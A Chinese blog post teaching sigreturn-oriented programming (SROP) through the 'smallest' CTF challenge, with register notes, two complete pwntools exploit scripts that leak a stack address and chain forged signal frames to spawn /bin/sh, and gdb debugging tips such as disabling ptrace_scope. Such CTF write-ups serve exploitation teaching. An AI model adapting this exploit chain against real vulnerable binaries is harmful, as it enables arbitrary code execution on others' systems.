查看原文
其他

从一道 CTF 题看 SROP | PWN

NOP Team NOP Team 2023-07-11


SROP 学习过程中,很大一部分人写的 smallest 这道题的 writeup 让我感觉很疑惑,为了证明他们写的存在一定问题,被迫走上了 pwntools + gdb 调试的路,所以这次只能用视频来进行展示了,文章剩余部分是讲义的内容

也不知道因为啥,磨磨唧唧唠了近两个小时,在视频中,大家可以 get 以下内容:

  • SROP 原理及利用

  • 一道 CTF 题的解题方法

  • pwntools + gdb 如何进行调试

  • SROP 整个过程中栈的内容是如何变化的

  • 一些偏执...

视频已经上传到 B 站了(也可以点击阅读原文)

https://www.bilibili.com/video/BV1444y1W71h?share_source=copy_web


视频下载地址:

https://pan.baidu.com/s/1fFhzEsBUAQQTLlHso27iFg 提取码: uutu 



原理

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.4_pwn_backdoorctf2017_fun_signals.html

Linux x64 函数调用约定

内核接口

内核接口使用的寄存器有rdi、rsi、rdx、r10、r8和r9。系统调用通过syscall指令完成。除了rcx、r11和rax,其他的寄存器都被保留。系统调用的编号必须在寄存器rax中传递。系统调用的参数限制为6个,不直接从堆栈上传递任何参数。返回时,rax中包含了系统调用的结果,而且只有INTEGER或者MEMORY类型的值才会被传递给内核。

用户接口

x86-64下通过寄存器传递参数,这样做比通过栈具有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是MEMORY,则在栈上传递参数。如果类型是INTEGER,则顺序使用rdi、rsi、rdx、rcx、r8和r9。所以如果有多于6个的INTEGER参数,则后面的参数在栈上传递。

环境准备

  • Ubuntu Desktop 18.04 64bit

  • ida pro / Ghidra

  • python2

  • python3

  • pip2/3

  • pwntools

  • gdb

  • peda

360 春秋杯 smallest

https://blog.csdn.net/weixin_43363675/article/details/118612199

https://www.yuque.com/hxfqg9/bin/erh0l7#cS7rH

我的 exp

import time
from pwn import *



'''
==================================================
004000b0 48 31 c0 XOR RAX,RAX
004000b3 ba 00 04 MOV EDX,0x400
00 00
004000b8 48 89 e6 MOV RSI,RSP
004000bb 48 89 c7 MOV RDI,RAX
004000be 0f 05 SYSCALL
004000c0 c3 RET
==================================================

简单分析程序:
XOR RAX,RAX // 首先将 rax 置 0
MOV EDX,0x400 // 之后将 edx 设置为 0x400
MOV RSI,RSP // 将栈顶地址复制给 RSI
MOV RDI,RAX // 将 rax 的值赋值给 rdi
SYSCALL // 执行系统调用
RET // 执行栈顶地址的指令

这个程序的意思就是将我们输入的内容读入到栈顶,之后执行栈顶地址存储的指令,我们看一下开了哪些防护
==================================
[*] '/root/srop/smallest'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
==================================

开启了 NX ,所以直接把 shellcode 写入到栈顶的想法是不行了,需要使用 SROP 技术,基本思路如下:

1. 通过写入 n 个程序其实地址来让程序不会退出,多次从标准输入中读取
2. 泄漏栈地址,通过控制下一跳的地址来跳过将 rax 置 0 的过程,也就是将 004000b0 变为 004000b3 ,这样的话其实只需要动一个字节就可以了,也就是使用 \xb3 覆盖 \xb0 ,同时正好我们也需要通过传递一个字符将 read 的返回值设置为 1, read 的返回值会存储在 rax 寄存器中,也就是改变了 rax 寄存器的值,1 是 write 方法的系统调用号
3. 获取到栈地址后,可以使用 sigreturn 来获取shell了,但是目标程序中没有 gadget: syscall;retn ,我们需要使用将 rax 设置为 15 ,之后 syscall 的方式来进行 sigreturn
4. 继续调用 read 方法,读入 15 个字节,也就是设定 rax 为15,之后执行 syscall ,这样就完成了 sigreturn 调用,这个调用再次执行 read 调用来把 start_adde + execve 的 sigFrame 读取进来,并设置 rip 为 syscall,这样就会再次执行 read 调用,我们又可以通过传递 15 个字节的方式来进行 sigreturn ,这次恢复的栈帧就是最终执行 shell 的栈帧了
5. 成功获取 shell

'''


p = process('./smallest')

context.arch = 'amd64'
# context.log_level = 'debug'

# Ghidra 获取基本地址
start_addr = 0x4000b0
mv_rsp_rsi_addr = 0x4000b8
syscall_ret_addr = 0x4000be
ret_addr = 0x004000c0


# 用于多次执行 read 系统调用
payload1 = p64(start_addr) * 3
p.send(payload1)

time.sleep(0.5)

# 用于控制 rax 为 1, 同时呢设置栈顶地址,跳过 rax 置 0
payload2 = b'\xb3'
p.send(payload2)

# 接收返回地址, 一次会打印 400 个字符,
stack_addr = u64(p.recv()[8:16])
log.info("leak stack addr: 0x%x", stack_addr)

time.sleep(0.5)

#开始构造!我们要想要syscall调用sigreturn需要把rax设置为15,通过read实现
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret_addr
#相当于read(0,stack_addr,0x400),同时返回地址是start_addr
read_frame_payload = p64(start_addr) + p64(syscall_ret_addr) + bytes(read)
p.send(read_frame_payload)#调用read函数,等待接收

time.sleep(0.5)

p.send(read_frame_payload[8:8+15]) #总共是15个
#这样通过read返回的字节使得rax为15,这样的话就会去恢复构造的read那一段内容,来接受我们的输入

# 定义 execve 的栈帧
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x120
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = stack_addr
execve.rip = syscall_ret_addr

log.info("rdi: 0x%x", stack_addr + 0x120)

time.sleep(0.5)

# 使用 sigreturn 来进行自定义的
payload3 = p64(start_addr) + p64(syscall_ret_addr) + bytes(execve)
print(len(payload3))

payload3 = payload3 + (0x120-len(payload3)) * b'\x00'+ b'/bin/sh\x00'

p.send(payload3)

time.sleep(1)
p.send(payload3[8:8+15])
p.interactive()

我的调试版 exp

import time
from pwn import *



'''
==================================================
004000b0 48 31 c0 XOR RAX,RAX
004000b3 ba 00 04 MOV EDX,0x400
00 00
004000b8 48 89 e6 MOV RSI,RSP
004000bb 48 89 c7 MOV RDI,RAX
004000be 0f 05 SYSCALL
004000c0 c3 RET
==================================================

简单分析程序:
XOR RAX,RAX // 首先将 rax 置 0
MOV EDX,0x400 // 之后将 edx 设置为 0x400
MOV RSI,RSP // 将栈顶地址复制给 RSI
MOV RDI,RAX // 将 rax 的值赋值给 rdi
SYSCALL // 执行系统调用
RET // 执行栈顶地址的指令

这个程序的意思就是将我们输入的内容读入到栈顶,之后执行栈顶地址存储的指令,我们看一下开了哪些防护
==================================
[*] '/root/srop/smallest'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
==================================

开启了 NX ,所以直接把 shellcode 写入到栈顶的想法是不行了,需要使用 SROP 技术,基本思路如下:

1. 通过写入 n 个程序起始地址来让程序不会退出,多次从标准输入中读取
2. 泄漏栈地址,通过控制下一跳的地址来跳过将 rax 置 0 的过程,也就是将 004000b0 变为 004000b3 ,这样的话其实只需要动一个字节就可以了,也就是使用 \xb3 覆盖 \xb0 ,同时正好我们也需要通过传递一个字符将 read 的返回值设置为 1, read 的返回值会存储在 rax 寄存器中,也就是改变了 rax 寄存器的值,1 是 write 方法的系统调用号
3. 获取到栈地址后,可以使用 sigreturn 来获取shell了,但是目标程序中没有 gadget: syscall;retn ,我们需要使用将 rax 设置为 15 ,之后 syscall 的方式来进行 sigreturn
4. 继续调用 read 方法,读入 15 个字节,也就是设定 rax 为15,之后执行 syscall ,这样就完成了 sigreturn 调用,这个调用再次执行 read 调用来把 start_adde + execve 的 sigFrame 读取进来,并设置 rip 为 syscall,这样就会再次执行 read 调用,我们又可以通过传递 15 个字节的方式来进行 sigreturn ,这次恢复的栈帧就是最终执行 shell 的栈帧了
5. 成功获取 shell

'''


# p = gdb.debug('./smallest', "b *0x4000b0")
p = process('./smallest')
# p = remote('127.0.0.1', 9999)
# pause()

# context.terminal = ["tmux", "splitw", "-h"]
context.terminal = ['gnome-terminal', '-x', 'sh' ,'-c']
gdb.attach(p, 'b *0x00000000004000B0')

context.arch = 'amd64'
# context.log_level = 'debug'

# Ghidra 获取基本地址
start_addr = 0x4000b0
mv_rsp_rsi_addr = 0x4000b8
syscall_ret_addr = 0x4000be
ret_addr = 0x004000c0


print("before send start_addr * 3 ...")
pause()

# 用于多次执行 read 系统调用
payload1 = p64(start_addr) * 3
p.send(payload1)


print("before send b3")
pause()

# 用于控制 rax 为 1, 同时呢设置栈顶地址,跳过 rax 置 0
payload2 = b'\xb3'
p.send(payload2)

print("after send b3")
pause()


# 接收返回地址, 一次会打印 400 个字符,
stack_addr = u64(p.recv()[8:16])
log.info("leak stack addr: 0x%x", stack_addr)


#开始构造!我们要想要syscall调用sigreturn需要把rax设置为15,通过read实现
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret_addr
#相当于read(0,stack_addr,0x400),同时返回地址是start_addr
read_frame_payload = p64(start_addr) + p64(syscall_ret_addr) + bytes(read)
p.send(read_frame_payload)#调用read函数,等待接收

print("after send start_addr+syscall+read_sigFrame")
pause()

p.send(read_frame_payload[8:8+15]) #总共是15个
#这样通过read返回的字节使得rax为15,这样的话就会去恢复构造的read那一段内容,来接受我们的输入

print("after send read_sigFrame[8:8+15]")
pause()




# 定义 execve 的栈帧
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x120
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = stack_addr
execve.rip = syscall_ret_addr

log.info("rdi: 0x%x", stack_addr + 0x120)
'''

execve = SigreturnFrame()

execve['uc_flags'] = 0x1
execve['&uc'] = 0x2
execve['uc_stack.ss_sp'] = 0x3
execve['uc_stack.ss_flags'] = 0x4
execve['uc_stack.ss_size'] = 0x5
execve['r8'] = 0x6
execve['r9'] = 0x7
execve['r10'] = 0x8
execve['r11'] = 0x9
execve['r12'] = 0xa
execve['r13'] = 0xb
execve['r14'] = 0xc
execve['r15'] = 0xd
execve['rdi'] = 0xe
execve['rsi'] = 0xf
execve['rbp'] = 0x10
execve['rbx'] = 0x11
execve['rdx'] = 0x12
execve['rax'] = 0x13
execve['rcx'] = 0x14
execve['rsp'] = 0x15
execve['rip'] = 0x16
execve['eflags'] = 0x17
execve['csgsfs'] = 0x18
execve['err'] = 0x19
execve['trapno'] = 0x1a
execve['oldmask'] = 0x1b
execve['cr2'] = 0x1c
execve['&fpstate'] = 0x1d
execve['__reserved'] = 0x1e
execve['sigmask'] = 0x1f
'''



# 使用 sigreturn 来进行自定义的
payload3 = p64(start_addr) + p64(syscall_ret_addr) + bytes(execve)
print(len(payload3))

payload3 = payload3 + (0x120-len(payload3)) * b'\x00'+ b'/bin/sh\x00'

print("before send start_addr + syscall + execve_sigFrame + \x00 * n + /bin/sh")
pause()

try:
p.send(payload3)
except Exception as e:
print(e)

print("before send payload3[8:8+15]")
pause()

# payload4 = p64(syscall_ret_addr) +

time.sleep(1)

try:
p.send(payload3[8:8+15])
except Exceptionas as e:
print(e)

print("after send payload3[8:8+15]")
pause()

p.interactive()

pwntools + gdb 问题

  • 用 root 登录或者 sudo ,不要 su

  • pip3 install -U pwntools==4.8.0b0

  • echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

覆盖 Frame 问题

sleep 问题

在每次send 之前放一个 sleep.time(0.5)


往期文章:

BROP 攻击技术 | PWN

学完ELF人间清醒的总结 | Linux 二进制



有态度,不苟同

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存